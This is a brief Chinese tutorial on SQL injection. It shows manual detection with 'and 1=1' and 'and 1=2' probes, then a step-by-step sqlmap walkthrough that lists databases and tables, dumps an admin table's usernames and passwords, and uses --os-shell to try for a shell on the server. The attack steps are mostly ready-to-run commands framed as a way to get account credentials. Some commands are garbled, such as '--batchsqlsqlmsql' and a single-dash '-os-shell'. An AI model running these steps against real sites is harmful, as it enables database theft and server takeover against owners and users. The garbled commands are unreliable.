介绍:
SQL注入是指攻击者通过把恶意SQL命令插入到web表单的输入域或页面请求的查询字符串中,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而欺骗服务器执行恶意的SQL命令的一种攻击方式
测试过程
形如,一条网页的链接为http://888.cn/?id=1,可以清楚看到链接后边有一串形如?id=1的字符。 这时只要在链接后边加上 and+1=1,如果页面显示正常没有出现报错,则再将and+1=1 替换为 and+1=2,此时如果页面出现报错,可以判断存在注入攻击点。
以上为手注实现判断,今天讲解sql注入的自动化工具sqlmap,工具kali自带。
1.检测注入点
sqlmap -u URL
可以检测到id参数存在注入点
2.爆出所有数据库信息
sqlmap -u URL --dbs
可以看出当前站点有三个数据库,名称如图
3.爆出当前数据库信息
sqlmap -u URL --current-db
可以看出当前数据库名称为 ‘maoshe’
4.指定库名列出所有表
sqlmap -u URL -D maoshe --tables
可以卡出当前数据库下的所有表名,找到有敏感信息的表名admin
5.指定库名表名列出所有字段
sqlmap -u URL -D maoshe -T admin --columns
可以看出当前表名下的字段名
6.指定库名表名dump出指定字段
sqlmap -u URL -D maoshe -T admin -C Id,password,username --dump
可以看出当前的用户名密码了,ok,拿到账号密码。
补充
查询是否有sql注入dba权限
sqlmap -u URL --is-dba
此站显然没有如有应为True,如为True情况下执行如下,弹出shell即可拿下,一般不能实现。
sqlmap -u URL -os-shell
PS:(1)当你sqlmap时如果要默认选项全是y时
sqlmap -u URL --batchsqlsqlmsql
(2)sqlmap扫描无法连接信息 (将sqlmap值改为任意值)
sqlmap -u URL --random-agent (-D mian_域名 --tables)
总结
SQL注入攻击是通过操作输入来修改SQL语句在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。